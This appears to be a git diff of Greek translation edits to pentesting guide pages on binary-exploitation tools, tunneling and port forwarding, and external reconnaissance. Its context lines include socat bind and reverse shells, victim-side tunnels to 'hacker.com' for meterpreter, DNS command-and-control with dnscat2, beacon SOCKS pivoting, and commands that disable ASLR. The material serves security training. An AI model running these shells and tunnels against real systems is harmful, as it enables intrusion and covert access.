diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md index 2a2343a56..8392f584c 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md @@ -131,7 +131,7 @@ gef➤ pattern search 0x6261617762616176 #### Backtrace για να βρείτε τις κλήσεις συναρτήσεων -Όταν έχετε ένα **στατικά συνδεδεμένο δυαδικό αρχείο**, όλες οι συναρτήσεις θα ανήκουν στο δυαδικό αρχείο (και όχι σε εξωτερικές βιβλιοθήκες). Σε αυτή την περίπτωση, θα είναι δύσκολο να **εντοπίσετε τη ροή που ακολουθεί το δυαδικό αρχείο για παράδειγμα να ζητήσει είσοδο από τον χρήστη**.\ +Όταν έχετε ένα **στατικά συνδεδεμένο δυαδικό αρχείο**, όλες οι συναρτήσεις θα ανήκουν στο δυαδικό αρχείο (και όχι σε εξωτερικές βιβλιοθήκες). Σε αυτή την περίπτωση, θα είναι δύσκολο να **εντοπίσετε τη ροή που ακολουθεί το δυαδικό αρχείο για να ζητήσει, για παράδειγμα, είσοδο από τον χρήστη.**\ Μπορείτε να εντοπίσετε εύκολα αυτή τη ροή **τρέχοντας** το δυαδικό αρχείο με **gdb** μέχρι να σας ζητηθεί είσοδος. Στη συνέχεια, σταματήστε το με **CTRL+C** και χρησιμοποιήστε την εντολή **`bt`** (**backtrace**) για να δείτε τις κλήσεις συναρτήσεων: ``` gef➤ bt @@ -147,11 +147,11 @@ gef➤ bt ## Ghidra -### Βρείτε την απόσταση στο stack +### Find stack offset -**Ghidra** είναι πολύ χρήσιμο για να βρείτε την **απόσταση** για μια **buffer overflow χάρη στις πληροφορίες σχετικά με τη θέση των τοπικών μεταβλητών.**\ -Για παράδειγμα, στο παρακάτω παράδειγμα, μια ροή buffer στο `local_bc` υποδεικνύει ότι χρειάζεστε μια απόσταση `0xbc`. Επιπλέον, αν το `local_10` είναι ένα canary cookie, υποδεικνύει ότι για να το παρακάμψετε από το `local_bc` υπάρχει μια απόσταση `0xac`.\ -&#xNAN;_Remember ότι τα πρώτα 0x08 από όπου αποθηκεύεται το RIP ανήκουν στο RBP._ +**Ghidra** είναι πολύ χρήσιμο για να βρείτε το **offset** για μια **buffer overflow χάρη στις πληροφορίες σχετικά με τη θέση των τοπικών μεταβλητών.**\ +Για παράδειγμα, στο παρακάτω παράδειγμα, μια ροή buffer στο `local_bc` υποδεικνύει ότι χρειάζεστε ένα offset `0xbc`. Επιπλέον, αν το `local_10` είναι ένα canary cookie, υποδεικνύει ότι για να το παρακάμψετε από το `local_bc` υπάρχει ένα offset `0xac`.\ +_Remember ότι τα πρώτα 0x08 από όπου αποθηκεύεται το RIP ανήκουν στο RBP._ ![](<../../../images/image (1061).png>) @@ -159,13 +159,13 @@ gef➤ bt ```bash qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ``` -Πάρτε κάθε opcode που εκτελείται στο πρόγραμμα. +Get every opcode executed in the program. ## GCC **gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Συμπίεση χωρίς προστασίες\ -&#xNAN;**-o** --> Έξοδος\ -&#xNAN;**-g** --> Αποθήκευση κώδικα (το GDB θα μπορεί να το δει)\ +**-o** --> Έξοδος\ +**-g** --> Αποθήκευση κώδικα (το GDB θα μπορεί να το δει)\ **echo 0 > /proc/sys/kernel/randomize_va_space** --> Για να απενεργοποιήσετε το ASLR στο linux **Για να συμπιέσετε ένα shellcode:**\ @@ -175,15 +175,15 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ## Objdump **-d** --> **Αποσυναρμολόγηση εκτελέσιμων** τμημάτων (δείτε τα opcodes ενός συμπιεσμένου shellcode, βρείτε ROP Gadgets, βρείτε διεύθυνση συνάρτησης...)\ -&#xNAN;**-Mintel** --> **Σύνταξη Intel**\ -&#xNAN;**-t** --> **Πίνακας συμβόλων**\ -&#xNAN;**-D** --> **Αποσυναρμολόγηση όλων** (διεύθυνση στατικής μεταβλητής)\ -&#xNAN;**-s -j .dtors** --> τμήμα dtors\ -&#xNAN;**-s -j .got** --> τμήμα got\ --D -s -j .plt --> **plt** τμήμα **αποσυναρμολόγησης**\ -&#xNAN;**-TR** --> **Μετατοπίσεις**\ +**-Mintel** --> **Σύνταξη Intel**\ +**-t** --> **Πίνακας συμβόλων**\ +**-D** --> **Αποσυναρμολόγηση όλων** (διεύθυνση στατικής μεταβλητής)\ +**-s -j .dtors** --> τμήμα dtors\ +**-s -j .got** --> τμήμα got\ +-D -s -j .plt --> **plt** τμήμα **αποσυναρμολογημένο**\ +**-TR** --> **Μετατοπίσεις**\ **ojdump -t --dynamic-relo ./exec | grep puts** --> Διεύθυνση του "puts" για τροποποίηση στο GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Διεύθυνση ή στατική μεταβλητή (αυτές αποθηκεύονται στο τμήμα DATA). +**objdump -D ./exec | grep "VAR_NAME"** --> Διεύθυνση ή στατική μεταβλητή (αυτές αποθηκεύονται στην τμήμα DATA). ## Core dumps @@ -191,7 +191,7 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog 2. Εκτελέστε `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 3. sudo gdb --core=\ --quiet -## Περισσότερα +## More **ldd executable | grep libc.so.6** --> Διεύθυνση (αν ASLR, τότε αυτό αλλάζει κάθε φορά)\ **for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Βρόχος για να δείτε αν η διεύθυνση αλλάζει πολύ\ @@ -210,7 +210,7 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ### Αποσφαλμάτωση σε απομακρυσμένο linux -Μέσα στον φάκελο IDA μπορείτε να βρείτε δυαδικά αρχεία που μπορούν να χρησιμοποιηθούν για να αποσφαλματώσετε ένα δυαδικό αρχείο μέσα σε ένα linux. Για να το κάνετε αυτό, μετακινήστε το δυαδικό `linux_server` ή `linux_server64` μέσα στον linux server και εκτελέστε το μέσα στον φάκελο που περιέχει το δυαδικό: +Μέσα στον φάκελο IDA μπορείτε να βρείτε δυαδικά αρχεία που μπορούν να χρησιμοποιηθούν για να αποσφαλματώσετε ένα δυαδικό αρχείο μέσα σε ένα linux. Για να το κάνετε αυτό, μετακινήστε το δυαδικό αρχείο `linux_server` ή `linux_server64` μέσα στον linux server και εκτελέστε το μέσα στον φάκελο που περιέχει το δυαδικό: ``` ./linux_server64 -Ppass ``` diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 53b77b01c..f4bd1b502 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -31,7 +31,7 @@ SSH γραφική σύνδεση (X) ```bash ssh -Y -C @ #-Y is less secure but faster than -X ``` -### Τοπικό Port2Port +### Local Port2Port Άνοιγμα νέας Θύρας στον SSH Server --> Άλλη θύρα ```bash @@ -89,8 +89,8 @@ route add -net 10.0.0.0/16 gw 1.1.1.1 ``` ## SSHUTTLE -Μπορείτε να **tunnel** μέσω **ssh** όλη την **κίνηση** σε ένα **υποδίκτυο** μέσω ενός host.\ -Για παράδειγμα, προωθώντας όλη την κίνηση που πηγαίνει στο 10.10.10.0/24 +Μπορείτε να **tunnel** μέσω **ssh** όλη την **κίνηση** σε ένα **subnetwork** μέσω ενός host.\ +Για παράδειγμα, προωθώντας όλη την κίνηση που πηγαίνει προς 10.10.10.0/24 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 @@ -134,7 +134,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ### SOCKS proxy -Ανοίξτε μια θύρα στον server της ομάδας που ακούει σε όλα τα interfaces που μπορούν να χρησιμοποιηθούν για να **δρομολογήσουν την κίνηση μέσω του beacon**. +Ανοίξτε μια θύρα στον teamserver που ακούει σε όλα τα interfaces που μπορούν να χρησιμοποιηθούν για **να δρομολογήσουν την κίνηση μέσω του beacon**. ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -152,7 +152,7 @@ rportfwd stop [bind port] ``` Για σημείωση: -- Η αντίστροφη προώθηση θύρας του Beacon έχει σχεδιαστεί για να **συνδέει την κίνηση στον Team Server, όχι για αναμετάδοση μεταξύ μεμονωμένων μηχανών**. +- Η αντίστροφη προώθηση θύρας του Beacon έχει σχεδιαστεί για να **συνδέει την κίνηση με τον Team Server, όχι για τη διαμεσολάβηση μεταξύ μεμονωμένων μηχανών**. - Η κίνηση είναι **συνδεδεμένη μέσα στην κίνηση C2 του Beacon**, συμπεριλαμβανομένων των P2P συνδέσεων. - **Δικαιώματα διαχειριστή δεν απαιτούνται** για τη δημιουργία αντίστροφων προωθήσεων θύρας σε υψηλές θύρες. @@ -175,7 +175,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t ## Chisel Μπορείτε να το κατεβάσετε από τη σελίδα εκδόσεων του [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ -Πρέπει να χρησιμοποιήσετε την **ίδια έκδοση για τον πελάτη και τον διακομιστή** +Πρέπει να χρησιμοποιήσετε την **ίδια έκδοση για πελάτη και διακομιστή** ### socks ```bash @@ -258,7 +258,7 @@ victim> python client.py --server-ip --server-port 9999 --ntl [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Δεσμευμένο κέλυφος +### Δεσμός κελύφους ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP4::1337 @@ -286,7 +286,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` -Μπορείτε να παρακάμψετε έναν **μη αυθεντικοποιημένο διακομιστή μεσολάβησης** εκτελώντας αυτή τη γραμμή αντί για την τελευταία στην κονσόλα του θύματος: +Μπορείτε να παρακάμψετε έναν **μη αυθεντικοποιημένο διακομιστή μεσολάβησης** εκτελώντας αυτή τη γραμμή αντί για την τελευταία στη κονσόλα του θύματος: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` @@ -294,7 +294,7 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke ### SSL Socat Tunnel -**/bin/sh κονσόλα** +**/bin/sh console** Δημιουργήστε πιστοποιητικά και στις δύο πλευρές: Πελάτης και Διακομιστής ```bash @@ -312,7 +312,7 @@ victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server. ``` ### Remote Port2Port -Συνδέστε την τοπική θύρα SSH (22) με την θύρα 443 του επιτιθέμενου host +Συνδέστε την τοπική θύρα SSH (22) με την θύρα 443 του επιτιθέμενου. ```bash attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 @@ -320,9 +320,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o ``` ## Plink.exe -Είναι σαν μια κονσόλα PuTTY έκδοση (οι επιλογές είναι πολύ παρόμοιες με έναν ssh πελάτη). +Είναι σαν μια κονσόλα PuTTY έκδοση (οι επιλογές είναι πολύ παρόμοιες με έναν ssh client). -Καθώς αυτό το δυαδικό αρχείο θα εκτελείται στο θύμα και είναι ένας ssh πελάτης, πρέπει να ανοίξουμε την υπηρεσία ssh και την θύρα μας ώστε να μπορέσουμε να έχουμε μια αντίστροφη σύνδεση. Στη συνέχεια, για να προωθήσουμε μόνο την τοπικά προσβάσιμη θύρα σε μια θύρα στη μηχανή μας: +Καθώς αυτό το δυαδικό αρχείο θα εκτελείται στο θύμα και είναι ένας ssh client, πρέπει να ανοίξουμε την υπηρεσία ssh και την θύρα μας ώστε να μπορέσουμε να έχουμε μια αντίστροφη σύνδεση. Στη συνέχεια, για να προωθήσουμε μόνο την τοπικά προσβάσιμη θύρα σε μια θύρα στη μηχανή μας: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 @@ -343,13 +343,13 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 ``` ## SocksOverRDP & Proxifier -Πρέπει να έχετε **πρόσβαση RDP στο σύστημα**.\ +Πρέπει να έχετε **RDP πρόσβαση στο σύστημα**.\ Κατεβάστε: -1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Αυτό το εργαλείο χρησιμοποιεί `Dynamic Virtual Channels` (`DVC`) από τη δυνατότητα Remote Desktop Service των Windows. Το DVC είναι υπεύθυνο για **την αποστολή πακέτων μέσω της σύνδεσης RDP**. +1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Αυτό το εργαλείο χρησιμοποιεί `Dynamic Virtual Channels` (`DVC`) από τη δυνατότητα Remote Desktop Service των Windows. Το DVC είναι υπεύθυνο για **tunneling πακέτων μέσω της σύνδεσης RDP**. 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) -Στον υπολογιστή-πελάτη σας, φορτώστε **`SocksOverRDP-Plugin.dll`** όπως αυτό: +Στον υπολογιστή-πελάτη σας φορτώστε **`SocksOverRDP-Plugin.dll`** έτσι: ```bash # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll @@ -375,7 +375,7 @@ netstat -antb | findstr 1080 ## Παράκαμψη proxy NTLM Το εργαλείο που αναφέρθηκε προηγουμένως: **Rpivot**\ -**OpenVPN** μπορεί επίσης να το παρακάμψει, ρυθμίζοντας αυτές τις επιλογές στο αρχείο ρύθμισης. +Το **OpenVPN** μπορεί επίσης να το παρακάμψει, ρυθμίζοντας αυτές τις επιλογές στο αρχείο ρύθμισης. ```bash http-proxy 8080 ntlm ``` @@ -384,7 +384,7 @@ http-proxy 8080 ntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) Αυθεντικοποιεί έναν proxy και δεσμεύει μια θύρα τοπικά που προωθείται στην εξωτερική υπηρεσία που καθορίζετε. Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το εργαλείο της επιλογής σας μέσω αυτής της θύρας.\ -Για παράδειγμα, προωθήστε τη θύρα 443 +Για παράδειγμα, προωθήστε τη θύρα 443. ``` Username Alice Password P@ssw0rd @@ -392,8 +392,8 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` -Τώρα, αν ρυθμίσετε για παράδειγμα στο θύμα την υπηρεσία **SSH** να ακούει στην πόρτα 443. Μπορείτε να συνδεθείτε σε αυτή μέσω της θύρας του επιτιθέμενου 2222.\ -Μπορείτε επίσης να χρησιμοποιήσετε ένα **meterpreter** που συνδέεται στο localhost:443 και ο επιτιθέμενος ακούει στην πόρτα 2222. +Τώρα, αν ρυθμίσετε για παράδειγμα στην θυματική μηχανή την υπηρεσία **SSH** να ακούει στην θύρα 443. Μπορείτε να συνδεθείτε σε αυτήν μέσω της θύρας 2222 του επιτιθέμενου.\ +Μπορείτε επίσης να χρησιμοποιήσετε ένα **meterpreter** που συνδέεται στο localhost:443 και ο επιτιθέμενος ακούει στην θύρα 2222. ## YARP @@ -419,7 +419,7 @@ ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 [**Κατεβάστε το από εδώ**](https://github.com/iagox86/dnscat2)**.** -Δημιουργεί ένα κανάλι C\&C μέσω DNS. Δεν απαιτεί δικαιώματα root. +Establishes a C\&C channel through DNS. It doesn't need root privileges. ```bash attacker> ruby ./dnscat2.rb tunneldomain.com victim> ./dnscat2 tunneldomain.com @@ -442,7 +442,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b ``` #### Αλλαγή DNS του proxychains -Το Proxychains παρεμβαίνει στην κλήση `gethostbyname` της libc και στέλνει τα αιτήματα DNS tcp μέσω του socks proxy. Από **προεπιλογή**, ο **DNS** διακομιστής που χρησιμοποιεί το proxychains είναι **4.2.2.2** (σκληρά κωδικοποιημένος). Για να τον αλλάξετε, επεξεργαστείτε το αρχείο: _/usr/lib/proxychains3/proxyresolv_ και αλλάξτε τη διεύθυνση IP. Αν βρίσκεστε σε **περιβάλλον Windows**, μπορείτε να ορίσετε τη διεύθυνση IP του **domain controller**. +Το Proxychains παρεμβαίνει στην κλήση `gethostbyname` της libc και στέλνει το tcp DNS αίτημα μέσω του socks proxy. Από **προεπιλογή**, ο **DNS** διακομιστής που χρησιμοποιεί το proxychains είναι **4.2.2.2** (σκληρά κωδικοποιημένος). Για να τον αλλάξετε, επεξεργαστείτε το αρχείο: _/usr/lib/proxychains3/proxyresolv_ και αλλάξτε τη διεύθυνση IP. Αν βρίσκεστε σε **περιβάλλον Windows**, μπορείτε να ορίσετε τη διεύθυνση IP του **domain controller**. ## Τούνελ σε Go @@ -455,7 +455,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) -Απαιτείται root και στα δύο συστήματα για να δημιουργηθούν οι προσαρμογείς tun και να μεταφερθούν δεδομένα μεταξύ τους χρησιμοποιώντας αιτήματα ICMP echo. +Απαιτείται δικαιώματα root και στα δύο συστήματα για να δημιουργηθούν οι προσαρμογείς tun και να μεταφερθούν δεδομένα μεταξύ τους χρησιμοποιώντας αιτήματα ICMP echo. ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v @@ -480,7 +480,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1 ## ngrok [**ngrok**](https://ngrok.com/) **είναι ένα εργαλείο για να εκθέτει λύσεις στο Διαδίκτυο με μία γραμμή εντολής.**\ -&#xNAN;_Exposition URI είναι όπως:_ **UID.ngrok.io** +_Exposition URI είναι όπως:_ **UID.ngrok.io** ### Εγκατάσταση @@ -498,7 +498,7 @@ chmod a+x ./ngrok _Είναι επίσης δυνατή η προσθήκη αυθεντικοποίησης και TLS, αν είναι απαραίτητο._ -#### Τούνελινγκ TCP +#### Tunneling TCP ```bash # Pointing to 0.0.0.0:4444 ./ngrok tcp 4444 diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index e5817f71d..003a86919 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -10,12 +10,12 @@ 1. Βρούμε τις εξαγορές της κύριας εταιρείας, αυτό θα μας δώσει τις εταιρείες εντός του πεδίου εφαρμογής. 2. Βρούμε το ASN (αν υπάρχει) κάθε εταιρείας, αυτό θα μας δώσει τις περιοχές IP που ανήκουν σε κάθε εταιρεία. -3. Χρησιμοποιήσουμε αναζητήσεις reverse whois για να ψάξουμε για άλλες καταχωρίσεις (ονόματα οργανισμών, τομείς...) σχετικές με την πρώτη (αυτό μπορεί να γίνει αναδρομικά). -4. Χρησιμοποιήσουμε άλλες τεχνικές όπως τα φίλτρα shodan `org` και `ssl` για να ψάξουμε για άλλα περιουσιακά στοιχεία (το κόλπο `ssl` μπορεί να γίνει αναδρομικά). +3. Χρησιμοποιήσουμε αναζητήσεις reverse whois για να αναζητήσουμε άλλες καταχωρίσεις (ονόματα οργανισμών, τομείς...) σχετικές με την πρώτη (αυτό μπορεί να γίνει αναδρομικά). +4. Χρησιμοποιήσουμε άλλες τεχνικές όπως τα φίλτρα shodan `org` και `ssl` για να αναζητήσουμε άλλα περιουσιακά στοιχεία (το κόλπο `ssl` μπορεί να γίνει αναδρομικά). ### **Εξαγορές** -Πρώτα απ' όλα, πρέπει να ξέρουμε ποιες **άλλες εταιρείες ανήκουν στην κύρια εταιρεία**.\ +Πρώτα απ' όλα, πρέπει να γνωρίζουμε ποιες **άλλες εταιρείες ανήκουν στην κύρια εταιρεία**.\ Μια επιλογή είναι να επισκεφθείτε [https://www.crunchbase.com/](https://www.crunchbase.com), **να αναζητήσετε** την **κύρια εταιρεία**, και **να κάνετε κλικ** στις "**εξαγορές**". Εκεί θα δείτε άλλες εταιρείες που αποκτήθηκαν από την κύρια.\ Μια άλλη επιλογή είναι να επισκεφθείτε τη σελίδα **Wikipedia** της κύριας εταιρείας και να αναζητήσετε **εξαγορές**. @@ -113,7 +113,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ### **Favicon** -Γνωρίζατε ότι μπορούμε να βρούμε σχετικούς τομείς και υποτομείς με τον στόχο μας αναζητώντας το ίδιο hash εικονιδίου favicon; Αυτό ακριβώς κάνει το εργαλείο [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) που δημιούργησε ο [@m4ll0k2](https://twitter.com/m4ll0k2). Να πώς να το χρησιμοποιήσετε: +Γνωρίζατε ότι μπορούμε να βρούμε σχετικούς τομείς και υποτομείς στον στόχο μας αναζητώντας το ίδιο hash εικονιδίου favicon; Αυτό ακριβώς κάνει το εργαλείο [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) που δημιούργησε ο [@m4ll0k2](https://twitter.com/m4ll0k2). Να πώς να το χρησιμοποιήσετε: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s @@ -141,7 +141,7 @@ return fhash ``` ### **Copyright / Uniq string** -Αναζητήστε μέσα στις ιστοσελίδες **αλφαριθμητικούς χαρακτήρες που θα μπορούσαν να μοιραστούν σε διάφορες ιστοσελίδες της ίδιας οργάνωσης**. Η **αλφαριθμητική δήλωση πνευματικών δικαιωμάτων** θα μπορούσε να είναι ένα καλό παράδειγμα. Στη συνέχεια, αναζητήστε αυτή τη δήλωση σε **google**, σε άλλους **προγράμματα περιήγησης** ή ακόμη και σε **shodan**: `shodan search http.html:"Copyright string"` +Αναζητήστε μέσα στις ιστοσελίδες **αλφαριθμητικούς χαρακτήρες που θα μπορούσαν να μοιραστούν σε διάφορες ιστοσελίδες της ίδιας οργάνωσης**. Η **αλφαριθμητική δήλωση πνευματικών δικαιωμάτων** θα μπορούσε να είναι ένα καλό παράδειγμα. Στη συνέχεια, αναζητήστε αυτή τη δήλωση σε **google**, σε άλλους **προγράμματα περιήγησης** ή ακόμα και σε **shodan**: `shodan search http.html:"Copyright string"` ### **CRT Time** @@ -161,7 +161,7 @@ return fhash Φαίνεται ότι είναι κοινό για τους ανθρώπους να αναθέτουν υποτομείς σε IP που ανήκουν σε παρόχους cloud και σε κάποιο σημείο **να χάσουν αυτήν την διεύθυνση IP αλλά να ξεχάσουν να αφαιρέσουν την εγγραφή DNS**. Επομένως, απλά **δημιουργώντας μια VM** σε ένα cloud (όπως το Digital Ocean) θα **αναλαμβάνετε στην πραγματικότητα κάποιους υποτομείς**. -[**Αυτή η ανάρτηση**](https://kmsec.uk/blog/passive-takeover/) εξηγεί μια ιστορία σχετικά με αυτό και προτείνει ένα σενάριο που **δημιουργεί μια VM στο DigitalOcean**, **παίρνει** την **IPv4** της νέας μηχανής και **αναζητά σε Virustotal για εγγραφές υποτομέων** που δείχνουν σε αυτήν. +[**Αυτή η ανάρτηση**](https://kmsec.uk/blog/passive-takeover/) εξηγεί μια ιστορία γι' αυτό και προτείνει ένα σενάριο που **δημιουργεί μια VM στο DigitalOcean**, **παίρνει** την **IPv4** της νέας μηχανής και **αναζητά σε Virustotal για εγγραφές υποτομέων** που δείχνουν σε αυτήν. ### **Άλλοι τρόποι** @@ -171,7 +171,7 @@ return fhash Όπως ήδη γνωρίζετε το όνομα της οργάνωσης που κατέχει τον χώρο IP. Μπορείτε να αναζητήσετε με αυτά τα δεδομένα στο shodan χρησιμοποιώντας: `org:"Tesla, Inc."` Ελέγξτε τους βρεθέντες διακομιστές για νέους απροσδόκητους τομείς στο πιστοποιητικό TLS. -Μπορείτε να αποκτήσετε το **πιστοποιητικό TLS** της κύριας ιστοσελίδας, να αποκτήσετε το **όνομα Οργάνωσης** και στη συνέχεια να αναζητήσετε αυτό το όνομα μέσα στα **πιστοποιητικά TLS** όλων των ιστοσελίδων που είναι γνωστές από το **shodan** με το φίλτρο: `ssl:"Tesla Motors"` ή να χρησιμοποιήσετε ένα εργαλείο όπως [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). +Μπορείτε να αποκτήσετε το **πιστοποιητικό TLS** της κύριας ιστοσελίδας, να αποκτήσετε το **όνομα Οργάνωσης** και στη συνέχεια να αναζητήσετε αυτό το όνομα μέσα στα **πιστοποιητικά TLS** όλων των ιστοσελίδων που είναι γνωστές από το **shodan** με το φίλτρο: `ssl:"Tesla Motors"` ή να χρησιμοποιήσετε ένα εργαλείο όπως το [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). **Assetfinder** @@ -181,8 +181,8 @@ return fhash Ελέγξτε για κάποια [ανάληψη τομέα](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Ίσως κάποια εταιρεία να **χρησιμοποιεί κάποιον τομέα** αλλά να **έχει χάσει την ιδιοκτησία**. Απλά καταχωρίστε τον (αν είναι αρκετά φθηνός) και ενημερώστε την εταιρεία. -Αν βρείτε οποιονδήποτε **τομέα με μια IP διαφορετική** από αυτές που έχετε ήδη βρει στην ανακάλυψη περιουσιακών στοιχείων, θα πρέπει να εκτελέσετε μια **βασική σάρωση ευπαθειών** (χρησιμοποιώντας Nessus ή OpenVAS) και κάποια [**σάρωση θυρών**](../pentesting-network/index.html#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που εκτελούνται, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για να "επιτεθείτε" σε αυτές**.\ -&#xNAN;_Note ότι μερικές φορές ο τομέας φιλοξενείται μέσα σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο εφαρμογής, να είστε προσεκτικοί._ +Αν βρείτε οποιονδήποτε **τομέα με μια IP διαφορετική** από αυτές που έχετε ήδη βρει στην ανακάλυψη περιουσιακών στοιχείων, θα πρέπει να εκτελέσετε μια **βασική σάρωση ευπαθειών** (χρησιμοποιώντας το Nessus ή το OpenVAS) και κάποια [**σάρωση θυρών**](../pentesting-network/index.html#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που εκτελούνται, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για να "επιτεθείτε" σε αυτές**.\ +_Σημειώστε ότι μερικές φορές ο τομέας φιλοξενείται σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο εφαρμογής, να είστε προσεκτικοί._ ## Υποτομείς @@ -195,13 +195,13 @@ return fhash ### **DNS** -Ας προσπαθήσουμε να αποκτήσουμε **υποτομείς** από τις **εγγραφές DNS**. Πρέπει επίσης να προσπαθήσουμε για **Μεταφορά Ζώνης** (Αν είναι ευάλωτη, θα πρέπει να την αναφέρετε). +Ας προσπαθήσουμε να αποκτήσουμε **υποτομείς** από τις **εγγραφές DNS**. Πρέπει επίσης να προσπαθήσουμε για **Zone Transfer** (Αν είναι ευάλωτο, θα πρέπει να το αναφέρετε). ```bash dnsrecon -a -d tesla.com ``` ### **OSINT** -Ο ταχύτερος τρόπος για να αποκτήσετε πολλούς υποτομείς είναι η αναζήτηση σε εξωτερικές πηγές. Τα πιο χρησιμοποιούμενα **εργαλεία** είναι τα εξής (για καλύτερα αποτελέσματα ρυθμίστε τα κλειδιά API): +Ο ταχύτερος τρόπος για να αποκτήσετε πολλούς υποτομείς είναι η αναζήτηση σε εξωτερικές πηγές. Τα πιο χρησιμοποιούμενα **εργαλεία** είναι τα εξής (για καλύτερα αποτελέσματα ρυθμίστε τα API keys): - [**BBOT**](https://github.com/blacklanternsecurity/bbot) ```bash @@ -379,13 +379,13 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` -- [**dmut**](https://github.com/bp0lr/dmut): Ένα ακόμα εργαλείο για την εκτέλεση παραλλαγών, μεταλλάξεων και τροποποιήσεων υποτομέων. Αυτό το εργαλείο θα εκτελέσει brute force στο αποτέλεσμα (δεν υποστηρίζει dns wild card). +- [**dmut**](https://github.com/bp0lr/dmut): Ένα άλλο εργαλείο για την εκτέλεση παραλλαγών, μεταλλάξεων και τροποποιήσεων υποτομέων. Αυτό το εργαλείο θα εκτελέσει brute force στο αποτέλεσμα (δεν υποστηρίζει dns wild card). - Μπορείτε να αποκτήσετε τη λίστα λέξεων παραλλαγών dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt 